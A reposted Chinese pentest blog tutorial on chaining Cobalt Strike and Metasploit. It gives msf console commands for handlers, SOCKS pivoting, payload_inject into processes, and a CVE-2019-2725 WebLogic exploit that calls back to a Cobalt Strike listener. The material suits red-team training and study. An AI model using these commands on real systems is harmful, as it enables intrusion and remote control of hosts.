飞道的博客

CobaltStrike 和 Metasploit 联动

339人阅读  评论(0)

文章来源|MS08067 内网安全知识星球

本文作者:掉到鱼缸里的猫(Ms08067内网安全小组成员)

内网纵横四海  认准Ms08067

个人觉得CobaltStrike图形化的界面和丰富的功能,是一个超强的后渗透框架,尤其是方便管理横向移动过程中搜集到的各种数据和shell,但是对于漏洞利用、初始突破就显得十分乏力;另一边Metasploit作为漏洞利用框架,EXP及其顺滑,各种各样的模块,包含扫描、突破、拓展一条龙服务,但是对于多个shell的管理就显得有些乏力了(毕竟没有图形化界面,命令太多记不住)。于是,如何将两个框架有效的联动起来,就成为了今天想要学习的知识。


一.利用CS为MSF服务

利用CS的Beacon给MSF派生一个shell,执行后续的渗透任务:

在MSF中配置监听


   
  1. # 配置监听器
  2. msf> use exploit/multi/handler
  3. # 选择payload
  4. msf> windows/meterpreter/reverse_http
  5. msf> set lhost IP
  6. msf> set lport port
  7. # 启动监听器
  8. msf> set ExitOnSession False
  9. msf> run -jz

在CS中建立一个外部监听器 Foreign HTTP (或 Foreign HTTPS )

 选择想要派生的目标,右键选择 spawn 功能,选择刚刚建立的监听器,即可在MSF中接收到回连。


利用CS为MSF提供转发或代理功能,进行后续的探测和漏洞利用:

利用Beacon建立 socks 代理:

在Beacon中输入 socks 监听端口,或者右键想要作为转发的目标,在pivoting中选择 SOCKS Server ,配置监听端口后点击 launch 激活。

 在view -> Proxy Pivots 中可以看到建立的转发器,点击Tunnel即可获得MSF的转发命令

复制到MSF中,设置代理和载荷类型

以CVE-2019-2725为测试靶机


   
  1. # 设置代理 msf> setg Proxies socks4:127.0.0.1:36725
  2. # 配置payload,因为是隔离网段的主机,无法直接反连回MSF,所以需要换成被动连接的bind类型载荷
  3. msf> set payload windows/meterpreter/bind_tcp
  4. msf> run

二.MSF为CS服务

主要就是使用MSF框架的EXP获取CS的Beacon

获取了一个命令执行Shell:

这是最简单的情况,也是最常见的情况,并不是所有的EXP都能反弹一个Meterpreter会话回来。

在CS中利用Attacks -> Web Drive-by -> Scripted Web Delivery 来部署一个Payload分发站点:

配置监听器和URL路径,启动后会弹出相应的命令提示

复制命令后,直接在MSF 的shell中执行即可

命令执行后MSF的会话会卡住,可以直接kill掉,不影响CS会话


获取了一个Meterpreter会话:

获得meterpreter会话后,利用MSF注入功能,加载Cs的payload


   
  1. # 将meterpreter会话挂起
  2. meterpreter> background
  3. # 进入payload_inject模块
  4. msf> use exploit/windows/local/payload_inject
  5. # 根据CS监听器类型选择对应的payload(http或者https)
  6. msf> set payload windows/meterpreter/reverse_http
  7. # 设置回连地址(CS监听器地址)
  8. msf> set LHOST CS_IP
  9. msf> set LPORT CS_PORT
  10. # 指定要执行的meterpreter会话
  11. msf> set session meterpreter会话ID
  12. # 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
  13. msf> set disablepayloadhandler true
  14. msf> run


在过程中发现,这种方法只能向注入32位的payload,如果注入64位payload会导致目标进程崩溃,无法向64位程序中注入32位payload。崩溃原因是:APPCRASH(故障模块StackHash_af76),即使取得system权限、关闭UAC也还是不行。如果不设置pid,则会创建一个32位的notepad.exe进程,成功连接后记得及时迁移CS的会话进程。


直接反弹回CS:

在MSF漏洞利用时直接请求并加载CS的载荷,和第二种方法基本一致(测试漏洞为 CVE-2019-2725) 


   
  1. # 根据CS监听器类型选择对应的payload
  2. msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http
  3. # 设置回连地址(CS监听器地址)
  4. msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP
  5. msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT
  6. # 指定要执行的meterpreter会话
  7. msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter会话ID
  8. # 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
  9. msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true



其实和第二种操作是一样,都是调用MSF的模块,配置payload的参数而已。漏洞利用成功后直接通过无窗口 powershell 返回CS会话,目标主机没有窗口弹出。测试的时候无法加载64位payload,可能是这个漏洞利用后会启动一个32位的cmd.exe来执行后续命令的原因。


三.写在后面

      一开始打算是做一篇学习笔记,毕竟好记性不如烂笔头,看过的东西长时间不使用的话可能就忘记了,留下一个备忘录日后查询起来也方便。但是,做到后来就是一个爬坑的过程了,觉得自己好聪明,“这两个载荷名字好像,也没有文章提到,会不会也可联动呀?”,因为网上介绍的方法(中文文章)基本上都是和CS官方2016年发布的指南的是一样的,但是我看目前CS中Listener的种类不止 http和https ,还有

dns smb tcp

MSF中也有诸如 


   
  1. windows/meterpreter/reverse_tcp_dns
  2. windows/meterpreter/bind_named_pipe 
  3. windows/meterpreter/reverse_tcp 

这类看起来很像的payload模块,一番测试下来,也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了,没有人提,确实就是因为它不是这样用的,毕竟两个框架一开始就是独立的,这样成熟的框架之间能有联通的方法已经给面子了,一开始就不应该奢求太多的。

扫描下方二维码加入星球学习

加入后邀请进入内部微信群,内部微信群永久有效!

 

 

目前40000+人已关注加入我们



转载:https://blog.csdn.net/shuteer_xu/article/details/114827165
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场